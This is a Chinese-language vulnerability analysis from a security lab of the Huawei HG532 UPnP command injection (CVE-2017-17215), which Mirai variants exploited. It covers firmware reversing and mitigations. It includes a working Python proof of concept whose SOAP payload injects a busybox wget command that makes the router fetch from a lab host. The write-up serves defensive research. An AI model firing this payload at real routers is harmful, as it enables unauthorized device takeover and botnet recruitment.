Huawei HG532 系列路由器远程命令执行漏洞分析

作者:fenix@知道创宇404实验室

发表时间:2017年12月28日

English version: https://paper.seebug.org/508/

背景

华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。

2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】

该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。

2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。

漏洞分析

固件下载

网上有 HG532e 版本的公开固件,下载地址【2】

下载该固件,利用 binwalk 直接解压。

目标系统是 MIPS 32 位 大端架构。

漏洞分析

根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。

UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。

直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。

通过字符串 NewStatusURL 对漏洞点进行定位。

跟踪数据交叉引用

漏洞点如下

ATP_XML_GetChildNodeByName 函数的定义如下。

程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。

snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)

system($s0)

upg 是路由器的一个升级程序,他的参数功能如下。

现在我们有两个命令注入点,NewDownloadURLNewStatusURL

漏洞验证

目标系统提供了以下命令。

利用 wget 命令进行漏洞测试。发送以下报文。

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到,我们成功在监听的端口上收到了请求。

值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。

在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。

防护方案

2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。

公告中提到了以下漏洞缓解措施

  • 配置路由器内置的防火墙
  • 更改路由器默认密码
  • 在路由器外部署防火墙

是的,没找到固件升级包,所以,没有补丁分析...

总结

  1. 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
  2. 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
  3. 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。

参考链接

【1】 Check Point 漏洞报告

https://research.checkpoint.com/good-zero-day-skiddie/

【2】 HG532e 固件下载

https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

【3】 爱尔兰宽带路由器 SetNTPServers 命令注入

https://www.seebug.org/vuldb/ssvid-97024

【4】 华为安全公告

http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

原创声明,本文系作者授权云+社区-专栏发表,未经许可,不得转载。

如有侵权,请联系 zhuanlan_guanli@qq.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏菜鸟程序员

AVGater漏洞突破防病毒软件 影响大批知名杀毒软件 PoC已经公开

1215
来自专栏玄魂工作室

CTF实战9 XSS跨站脚本漏洞

该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

993
来自专栏FreeBuf

可能是史上最先进的恶意广告攻击:一个Banner就感染了上百万PC,雅虎、MSN等大型网站都中招

一个广告Banner,不需要任何交互就能让你的PC感染恶意程序,是不是感觉很牛掰?据说就目前为止,已经有上百万PC因为这样的原因被感染。而且很多大型网站似乎都中...

1838
来自专栏FreeBuf

Cisco VPN惊现后门,专门窃取客户网络密码

一种新的攻击悄无声息地出现在公司门户上。安全研究人员说,攻击者通过感染思科公司所出售的一个虚拟专用网络产品来收集用户名和用于登录到公司网络密码的后门。 安全公司...

2079
来自专栏FreeBuf

浅谈开源web程序后台的安全性

一、前言 不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文...

1849
来自专栏FreeBuf

双尾蝎(APT-C-23):伸向巴以两国的毒针

? 摘要 2016 年 5 月起至今,双尾蝎组织(APT-C-23)对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。 ...

18810
来自专栏FreeBuf

微软已修复可窃取Windows登录凭证的秘密漏洞

今年5月, 哥伦比亚安全研究员 Juan Diego 向微软报告了一个漏洞,该漏洞可使得攻击者在无需任何用户交互的情况下随意窃取 Windows NTLM 密码...

21910
来自专栏FreeBuf

维基解密披露CIA恶意软件框架中的新工具:AfterMidnight与Assassin

当整个世界都在忙于应对 WannaCry恶意软件之时,维基解密发布了CIA Vault 7工具包中新的一批文件,详细披露了针对Winodws平台上的两个恶意软件...

2156
来自专栏FreeBuf

黑帽SEO剖析之手法篇

此系统文章总共分为四篇,分别是手法篇、工具篇、隐藏篇、总结篇;本篇为黑帽SEO之手法篇,主要介绍黑帽seo的概念以及一些常用的手法。   首先得说黑帽SEO是个...

2658
来自专栏大数据文摘

家用路由器,已遭黑客攻击!

1478

扫描关注云+社区